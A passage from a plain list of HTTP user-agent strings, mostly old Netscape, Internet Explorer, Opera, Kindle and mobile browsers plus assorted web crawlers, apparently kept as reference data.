PPC)\nMozilla/3.01Gold (Macintosh; I; 68K)\nMozilla/3.01Gold (Win95; I)\nMozilla/3.01Gold (X11; I; Linux 2.0.32 i486)\nMozilla/3.01Gold (X11; I; SunOS 5.5.1 sun4m)\nMozilla/3.01SGoldC-SGI (X11; I; IRIX 6.3 IP32)\nMozilla/3.02 [en] (Windows NT 5.1; U)\nMozilla/3.04 (WinNT; I)\nMozilla/3.04 (compatible; ANTFresco/2.13; RISC OS 4.02)\nMozilla/3.04 (compatible; NCBrowser/2.35; ANTFresco/2.17; RISC OS-NC 5.13 Laz1UK1309)\nMozilla/3.04 (compatible;QNX Voyager 2.03B ;Photon)\nMozilla/3.04Gold (Macintosh; I; PPC)\nMozilla/3.04Gold (WinNT; U)\nMozilla/3.x (I-Opener 1.1; Netpliance)\nMozilla/4.0\nMozilla/4.0  (compatible; MSIE 5.5; AOL 5.0; Windows NT 5.0)\nMozilla/4.0 ( ; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nMozilla/4.0 ( ; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; .NET CLR 3.5.30729)\nMozilla/4.0 ( compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar )\nMozilla/4.0 (Compatible); URLBase 6\nMozilla/4.0 (Compatible; MSIE 4.0)\nMozilla/4.0 (Compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.04506.30; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (Compatible; MSIE 5.5; Windows NT5.0; Q312461; SV1; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (Compatible; MSIE 7.0; Windows NT 5.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506; .NET CLR 3.5.21022; MS-RTC LM 8)\nMozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)\nMozilla/4.0 (Compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 1.1.4322; Windows NT 6.1; Trident/4.0; Mozilla/4.0; MSIE 6.0; Windows NT 5.1; SV1 ; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322)\nMozilla/4.0 (Compatible; MSIE 8.0; Windows NT 6.1; FDM; .NET CLR 1.1.4322; Windows NT 6.1; Trident/4.0; Mozilla/4.0; MSIE 6.0; Windows NT 5.1; SV1 ; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.\nMozilla/4.0 (Compatible; Windows NT 5.1; MSIE 6.0) (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (JemmaTheTourist;http://www.activtourist.com)\nMozilla/4.0 (MSIE 6.0; Windows NT 5.0)\nMozilla/4.0 (MSIE 6.0; Windows NT 5.1)\nMozilla/4.0 (MobilePhone PM-8200/US/1.0) NetFront/3.x MMP/2.0\nMozilla/4.0 (MobilePhone SCP-5500/US/1.0) NetFront/3.0 MMP/2.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)\nMozilla/4.0 (MobilePhone SCP-5500/US/1.0) NetFront/3.0 MMP/2.0 FAKE (compatible; Googlebot/2.1; http://www.google.com/bot.html)\nMozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1)\nMozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (Mozilla; http://www.mozilla.org/docs/en/bot.html; master@mozilla.com)\nMozilla/4.0 (PDA; PalmOS/sony/model prmr/Revision:1.1.54 (en)) NetFront/3.0\nMozilla/4.0 (PS3 (PlayStation 3); 1.00)\nMozilla/4.0 (PSP (PlayStation Portable); 2.00)\nMozilla/4.0 (Sleek Spider/1.2)\nMozilla/4.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/11.0.1245.0 Safari/537.36\nMozilla/4.0 (Windows;  MSIE 6.0;  Windows NT 5.1;  SV1; .NET CLR 2.0.50727)\nMozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.0)\nMozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.2)\nMozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)\nMozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\nMozilla/4.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0\nMozilla/4.0 (Windows; U; Windows NT 5.0; en-us; rv:1.9.1.5) Gecko/20100523 Firefox/3.5.2\nMozilla/4.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19\nMozilla/4.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0\nMozilla/4.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/4.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/2010324480 Firefox/3.5.4\nMozilla/4.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.3.1) Gecko/2009281128 Firefox/3.0.6\nMozilla/4.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.7) Gecko/2008398325 Firefox/3.1.4\nMozilla/4.0 (X11; MSIE 6.0; i686; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (agadine3.0) www.agada.de\nMozilla/4.0 (compatible ; MSIE 6.0; Windows NT 5.1)\nMozilla/4.0 (compatible: AstraSpider V.2.1 : astrafind.com)\nMozilla/4.0 (compatible: FDSE robot)\nMozilla/4.0 (compatible: Shoula robot)\nMozilla/4.0 (compatible;  Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8)\nMozilla/4.0 (compatible;  MSIE 6.0;  Windows NT 5.1;  SV1;  .NET CLR 1.1.4325;  .NET CLR 2.0.50727;  .NET CLR 3.0.30729;  .NET CLR 3.5.30707;  MS-RTC LM 8)\nMozilla/4.0 (compatible;  MSIE 6.0;  Windows NT 5.2;  SLCC1;  .NET CLR 1.1.4325;  .NET CLR 2.0.50727;  .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible;  MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)\nMozilla/4.0 (compatible;  U; MSIE 9.0; WIndows NT 9.0; en-US)\nMozilla/4.0 (compatible;  Vagabondo/2.2; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/)\nMozilla/4.0 (compatible;  Vagabondo/4.0Beta; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/)\nMozilla/4.0 (compatible;  Vagabondo/4.0Beta; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/; http://www.wise-guys.nl/)\nMozilla/4.0 (compatible; <a href=http://www.reget.com>ReGet Deluxe 5.1</a>; Windows NT 5.1)\nMozilla/4.0 (compatible; Advanced Email Extractor v2.xx)\nMozilla/4.0 (compatible; Arachmo)\nMozilla/4.0 (compatible; B-l-i-t-z-B-O-T)\nMozilla/4.0 (compatible; BOTW Spider; +http://botw.org)\nMozilla/4.0 (compatible; B_L_I_T_Z_B_O_T)\nMozilla/4.0 (compatible; BlitzBot)\nMozilla/4.0 (compatible; BorderManager 3.0)\nMozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)\nMozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-1)\nMozilla/4.0 (compatible; Check&Get 3.0; Windows NT)\nMozilla/4.0 (compatible; ChristCrawler.com ChristCrawler@ChristCENTRAL.com)\nMozilla/4.0 (compatible; DAUMOA-video; +http://ws.daum.net/aboutkr.html)\nMozilla/4.0 (compatible; DepSpid/5.0x; +http://about.depspid.net)\nMozilla/4.0 (compatible; Dillo 3.0)\nMozilla/4.0 (compatible; DnloadMage 1.0)\nMozilla/4.0 (compatible; FDSE robot)\nMozilla/4.0 (compatible; FastCrawler3 support-fastcrawler3@fast.no)\nMozilla/4.0 (compatible; GPU p2p crawler http://gpu.sourceforge.net/search_engine.php)\nMozilla/4.0 (compatible; GoogleToolbar 4.0.1019.5266-big; Windows XP 5.1; MSIE 6.0.2900.2180)\nMozilla/4.0 (compatible; IBrowse 2.3; AmigaOS4.0)\nMozilla/4.0 (compatible; ICS 1.2.xxx)\nMozilla/4.0 (compatible; IE-Favorites-Check-0.5)\nMozilla/4.0 (compatible; Iplexx Spider/1.0 http://www.iplexx.at)\nMozilla/4.0 (compatible; KeepNI web site monitor)\nMozilla/4.0 (compatible; Link Utility; http://net-promoter.com)\nMozilla/4.0 (compatible; Linux 2.6.10) NetFront/3.3 Kindle/1.0 (screen 600x800)\nMozilla/4.0 (compatible; Linux 2.6.10) NetFront/3.4 Kindle/1.0 (screen 600x800)\nMozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.0 (screen 600x800)\nMozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.0 (screen 824x1200; rotate)\nMozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.1 (screen 824x1200; rotate)\nMozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.3 (screen 1200x824; rotate)\nMozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.3 (screen 600x800; rotate)\nMozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.5 (screen 1200x824; rotate)\nMozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.5 (screen 600x800; rotate)\nMozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.5 (screen 824x1200; rotate)\nMozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.5 (screen 824x1200;rotate)\nMozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)\nMozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)\nMozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Mac_68K)\nMozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 95)\nMozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 98)\nMozilla/4.0 (compatible; MSIE 4.01; MSIECrawler; Windows 95)\nMozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 4.01; Vonna.com b o t)\nMozilla/4.0 (compatible; MSIE 4.01; Windows 2000)\nMozilla/4.0 (compatible; MSIE 4.01; Windows 95)\nMozilla/4.0 (compatible; MSIE 4.01; Windows 98)\nMozilla/4.0 (compatible; MSIE 4.01; Windows 98; DigExt)\nMozilla/4.0 (compatible; MSIE 4.01; Windows 98; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; MSN Companion 2.0; 800x600; Compaq)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; PPC)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; SPV M700; OpVer 19.123.2.733) OrangeBot-Mobile 2008.0 (mobilesearch.support@orange-ftgroup.com)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; MDA Pro/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPS; 240x320)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 176x220)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:PPC-i830; PPC; 240x320)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i320; Smartphone; 176x220)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i830; PPC; 240x320)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip320; Smartphone; 176x220)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip830w; PPC; 240x320)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint; SCH-i830; PPC; 240x320)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint;PPC-i830; PPC; 240x320)\nMozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0; Avant Browser)\nMozilla/4.0 (compatible; MSIE 4.01; Windows NT Windows CE)\nMozilla/4.0 (compatible; MSIE 4.01; Windows NT)\nMozilla/4.0 (compatible; MSIE 4.01; Windows NT; MS Search 4.0 Robot) Microsoft\nMozilla/4.0 (compatible; MSIE 4.0; Windows 95)\nMozilla/4.0 (compatible; MSIE 4.0; Windows 95; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 4.0; Windows 98 )\nMozilla/4.0 (compatible; MSIE 4.0; Windows NT)\nMozilla/4.0 (compatible; MSIE 4.0; Windows NT; Site Server 3.0 Robot) ACR\nMozilla/4.0 (compatible; MSIE 4.0; Windows NT; Site Server 3.0 Robot) Indonesia Interactive\nMozilla/4.0 (compatible; MSIE 4.0; Windows NT; Site Server 3.0 Robot) WebQuest Designs\nMozilla/4.0 (compatible; MSIE 4.5; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 4.5; Windows 98; )\nMozilla/4.0 (compatible; MSIE 4.5; Windows NT 5.1; .NET CLR 2.0.40607)\nMozilla/4.0 (compatible; MSIE 5.00; Windows 98)\nMozilla/4.0 (compatible; MSIE 5.01; AOL 4.0; Windows 98)\nMozilla/4.0 (compatible; MSIE 5.01; AOL 7.0; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 5.01; AOL 8.0; Windows 98)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 95)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 95) via <B>Avirt Gateway Server</B> v4.0\nMozilla/4.0 (compatible; MSIE 5.01; Windows 95; YComp 5.0.2.5)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 95; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; Crazy Browser 1.0.5)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; DigExt)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; Hotbar 4.1.5.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; Hotbar 4.2.11.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; Hotbar 4.2.4.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; Hotbar 4.2.6.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; Hotbar 4.2.8.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; Wanadoo 5.1)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; Wanadoo 5.3)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; YComp 5.0.0.0; (R1 1.1))\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; YComp 5.0.2.5)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98; i-NavFourF)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) (samualt9@bigfoot.com)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; (R1 1.1))\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; (R1 1.5); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; .NET CLR 1.0.2914)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Avant Browser)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Crazy Browser 1.0.5)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; DigExt)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; DigExt; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; DigExt; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; DigExt; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.1.4.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.1.7.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.2.1.1198)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.2.13.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.2.4.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.2.8.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.2.8.0; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.2.9.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.3.2.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 4.3.5.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; NetCaptor 6.5.0RC1)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Q312461)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Q312461; T312461)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; SV1)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.1)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.3; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.6)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.0.0; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; Hotbar 4.2.8.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; iOpus-I-M)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; iebar)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT; DigExt)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 5.05; Windows 98; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.05; Windows NT 3.51)\nMozilla/4.0 (compatible; MSIE 5.05; Windows NT 4.0)\nMozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 98; DigExt)\nMozilla/4.0 (compatible; MSIE 5.0; AOL 5.0; Windows 95)\nMozilla/4.0 (compatible; MSIE 5.0; AOL 5.0; Windows 95; DigExt)\nMozilla/4.0 (compatible; MSIE 5.0; AOL 5.0; Windows 95; DigExt; Gateway2000; sureseeker.com)\nMozilla/4.0 (compatible; MSIE 5.0; AOL 5.0; Windows 98; DigExt)\nMozilla/4.0 (compatible; MSIE 5.0; AOL 6.0; Windows 98; DigExt; YComp 5.0.2.5)\nMozilla/4.0 (compatible; MSIE 5.0; AOL 7.0; Windows 98)\nMozilla/4.0 (compatible; MSIE 5.0; AOL 7.0; Windows 98; DigExt)\nMozilla/4.0 (compatible; MSIE 5.0; AOL 8.0; Windows 98; DigExt)\nMozilla/4.0 (compatible; MSIE 5.0; AOL 8.0; Windows 98; DigExt; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.0-4GB i686) Opera 5.0  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.0-64GB-SMP i686) Opera 6.03  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.10-4GB i686) Opera 6.11  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18 i386) Opera 6.0  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18 i686) Opera 6.0  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18 i686) Opera 6.11  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18-3 i686) Opera 6.0  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18-4GB i686) Opera 6.0  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18-4GB i686) Opera 6.02  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18-4GB i686) Opera 6.03  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18-4GB i686) Opera 6.1  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.19 i686) Opera 6.1  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.19-16mdk i686) Opera 6.11  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.19-4GB i686) Opera 6.03  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.19-4GB i686) Opera 6.11  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.20-13.7 i686) Opera 6.11  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.20-4GB i686) Opera 6.03  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.20-4GB i686) Opera 6.12  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.20-686 i686) Opera 6.02  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.4 i686) Opera 6.11  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.4-4GB i686) Opera 5.0  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Linux) Opera 5.0  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Mac OS X)\nMozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC) Opera 5.0  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC) Opera 5.12  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC) Opera 6.0  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC) Opera 6.0  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC; AtHome021)\nMozilla/4.0 (compatible; MSIE 5.0; Macintosh; PPC) Opera 6.0  [en]\nMozilla/4.0 (compatible; MSIE 5.0; NetNose-Crawler 2.0; A New Search Experience: http://www.netnose.com)\nMozilla/4.0 (compatible; MSIE 5.0; Series80/2.0 Nokia9500/4.51 Profile/MIDP-2.0 Configuration/CLDC-1.1)\nMozilla/4.0 (compatible; MSIE 5.0; SunOS 5.8 sun4u) Opera 5.0  [en]\nMozilla/4.0 (compatible; MSIE 5.0; UNIX) Opera 6.11  [en]\nMozilla/4.0 (compatible; MSIE 5.0; UNIX) Opera 6.11  [fr]\nMozilla/4.0 (compatible; MSIE 5.0; UNIX) Opera 6.12  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Win32) via proxy gateway CERN-HTTPD/3.0 libwww/2.17\nMozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.0  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.0  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.0 [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.01  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.01  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.01  [fr]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.01  [it]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.02  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.04  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.04  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.05  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.05  [el]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.05  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.05  [fr]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 3.1)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 95)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 95) Opera 6.01  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 95) Opera 6.02  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 95) Opera 6.02  [en]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 95) Opera 6.05  [de]\nMozilla/4.0 (compatible; MSIE 5.0; Windows 95) TrueRobot; 1.5\nMozilla/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot BETA 1.2 (http://www.voila.com/)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot; 1.6\nMozilla/4.0 (compatible; MSIE 5.0; Windows 95; DigExt)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 95; DigExt; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 95; DigExt; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 95; DigExt; YComp 